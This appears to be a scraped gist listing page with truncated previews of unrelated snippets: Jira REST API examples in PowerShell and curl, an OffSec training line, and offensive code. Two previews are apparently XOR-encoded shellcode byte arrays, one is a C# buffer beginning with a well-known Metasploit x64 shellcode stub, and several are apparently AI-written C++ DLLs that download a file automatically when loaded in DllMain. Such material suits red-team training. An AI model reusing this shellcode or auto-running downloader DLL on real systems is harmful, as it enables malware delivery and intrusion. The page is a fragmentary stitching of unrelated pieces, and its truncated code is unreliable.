This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$username = "[email protected]" | |
$password = ConvertTo-SecureString "<api_token>" -AsPlainText -Force | |
$credential = New-Object System.Management.Automation.PSCredential($username, $password) | |
$headers = @{ | |
"Accept" = "application/json" | |
} | |
$response = Invoke-WebRequest -Uri "https://your-domain.atlassian.net/rest/api/3/issue" ` | |
-Method Post ` | |
-Credential $credential ` | |
-Authentication Basic ` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl --request POST \ | |
--url 'https://your-domain.atlassian.net/rest/api/3/issue' \ | |
--user '[email protected]:<api_token>' \ | |
--header 'Accept: application/json' \ | |
--header 'Content-Type: application/json' \ | |
--data '{ | |
"fields": { | |
"assignee": { | |
"id": "5b109f2e9729b51b54dc274d" | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Define variables | |
$jiraUrl = "https://your-domain.atlassian.net/rest/api/3/issue" # Replace with your Jira instance URL | |
$email = "[email protected]" # Replace with your Jira account email | |
$apiToken = "YOUR_API_TOKEN" # Replace with your Jira API token later | |
$projectKey = "PROJECT" # Replace with your Jira project key (e.g., "ABC") | |
$issueType = "Task" # Replace with desired issue type (e.g., "Bug", "Story", "Task") | |
$summary = "New ticket created via API" # Replace with ticket summary | |
$description = "This is a sample ticket created using the Jira REST API." # Replace with ticket description | |
# Create the authentication header |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Invitation for OffSec Training Library - Learn Enterprise Annual Subscription |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0xa6, 0x12, 0xd9, 0xbe, 0xaa, 0xb2, 0x9a, 0x5a, 0x5a, 0x5a, 0x1b, 0x0b, 0x1b, 0x0a, 0x08, 0x0b, 0x0c, 0x12, 0x6b, 0x88, 0x3f, 0x12, 0xd1, 0x08, 0x3a, 0x12, 0xd1, 0x08, 0x42, 0x12, 0xd1, 0x08, 0x7a, 0x12, 0xd1, 0x28, 0x0a, 0x12, 0x55, 0xed, 0x10, 0x10, 0x17, 0x6b, 0x93, 0x12, 0x6b, 0x9a, 0xf6, 0x66, 0x3b, 0x26, 0x58, 0x76, 0x7a, 0x1b, 0x9b, 0x93, 0x57, 0x1b, 0x5b, 0x9b, 0xb8, 0xb7, 0x08, 0x1b, 0x0b, 0x12, 0xd1, 0x08, 0x7a, 0xd1, 0x18, 0x66, 0x12, 0x5b, 0x8a, 0xd1, 0xda, 0xd2, 0x5a, 0x5a, 0x5a, 0x12, 0xdf, 0x9a, 0x2e, 0x3d, 0x12, 0x5b, 0x8a, 0x0a, 0xd1, 0x12, 0x42, 0x1e, 0xd1, 0x1a, 0x7a, 0x13, 0x5b, 0x8a, 0xb9, 0x0c, 0x12, 0xa5, 0x93, 0x1b, 0xd1, 0x6e, 0xd2, 0x12, 0x5b, 0x8c, 0x17, 0x6b, 0x93, 0x12, 0x6b, 0x9a, 0xf6, 0x1b, 0x9b, 0x93, 0x57, 0x1b, 0x5b, 0x9b, 0x62, 0xba, 0x2f, 0xab, 0x16, 0x59, 0x16, 0x7e, 0x52, 0x1f, 0x63, 0x8b, 0x2f, 0x82, 0x02, 0x1e, 0xd1, 0x1a, 0x7e, 0x13, 0x5b, 0x8a, 0x3c, 0x1b, 0xd1, 0x56, 0x12, 0x1e, 0xd1, 0x1a, 0x46, 0x13, 0x5b, 0x8a, 0x1b, 0xd1, 0x5e, 0xd2, 0x12, 0x5b, 0x8a, 0x1b, 0x02 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0xa6, 0xb2, 0xd8, 0x5a, 0x5a, 0x5a, 0x3a, 0xd3, 0xbf, 0x6b, 0x9a, 0x3e, 0xd1, 0x0a, 0x6a, 0xd1, 0x08, 0x56, 0xd1, 0x08, 0x4e, 0xd1, 0x28, 0x72, 0x55, 0xed, 0x10, 0x7c, 0x6b, 0xa5, 0xf6, 0x66, 0x3b, 0x26, 0x58, 0x76, 0x7a, 0x9b, 0x95, 0x57, 0x5b, 0x9d, 0xb8, 0xa8, 0x08, 0x0d, 0xd1, 0x08, 0x4a, 0xd1, 0x10, 0x66, 0xd1, 0x16, 0x4b, 0x22, 0xb9, 0x12, 0x5b, 0x8b, 0x0b, 0xd1, 0x03, 0x7a, 0x5b, 0x89, 0xd1, 0x13, 0x42, 0xb9, 0x60, 0x13, 0xd1, 0x6e, 0xd1, 0x5b, 0x8c, 0x6b, 0xa5, 0xf6, 0x9b, 0x95, 0x57, 0x5b, 0x9d, 0x62, 0xba, 0x2f, 0xac, 0x59, 0x27, 0xa2, 0x61, 0x27, 0x7e, 0x2f, 0xbe, 0x02, 0xd1, 0x02, 0x7e, 0x5b, 0x89, 0x3c, 0xd1, 0x56, 0x11, 0xd1, 0x02, 0x46, 0x5b, 0x89, 0xd1, 0x5e, 0xd1, 0x5b, 0x8a, 0xd3, 0x1e, 0x7e, 0x7e, 0x01, 0x01, 0x3b, 0x03, 0x00, 0x0b, 0xa5, 0xba, 0x05, 0x05, 0x00, 0xd1, 0x48, 0xb1, 0xd7, 0x07, 0x30, 0x5b, 0xd7, 0xdf, 0xe8, 0x5a, 0x5a, 0x5a, 0x0a, 0x32, 0x6b, 0xd1, 0x35, 0xdd, 0xa5, 0x8f, 0xe1, 0xaa, 0xef, 0xf8, 0x0c, 0x32, 0xfc, 0xcf, 0xe7, 0xc7, 0xa5, 0x8f, 0x66, 0x5c, 0x26, 0x50, 0xda, 0xa1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
byte[] buf = new byte[279] {0xfc,0x48,0x83,0xe4,0xf0,0xe8, | |
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48, | |
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, | |
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a, | |
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c, | |
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41, | |
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b, | |
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, | |
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0, | |
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Here's a version of the DLL without using the `goto` keyword. I've restructured the code using nested if-statements and early returns to handle the cleanup and error conditions: | |
```cpp | |
#include <windows.h> | |
#include <winhttp.h> | |
#pragma comment(lib, "winhttp.lib") | |
// Define default parameters as constants | |
const wchar_t* DEFAULT_PROXY_ADDRESS = L"proxy.example.com"; | |
const DWORD DEFAULT_PROXY_PORT = 8080; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Here's the modified DLL that makes the download call when a thread attaches to the DLL. I've moved the download logic into a separate function and added the call in DllMain during DLL_THREAD_ATTACH: | |
```cpp | |
#include <windows.h> | |
#include <winhttp.h> | |
#pragma comment(lib, "winhttp.lib") | |
// Define default parameters as constants | |
const wchar_t* DEFAULT_PROXY_ADDRESS = L"proxy.example.com"; | |
const DWORD DEFAULT_PROXY_PORT = 8080; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Here's the updated DLL code that includes proxy authentication. I'll modify it to include proxy settings and credentials: | |
```cpp | |
// FileDownloadDLL.cpp | |
#include <windows.h> | |
#include <winhttp.h> | |
#include <string> | |
#pragma comment(lib, "winhttp.lib") | |
#ifdef FILEDOWNLOADDLL_EXPORTS |
NewerOlder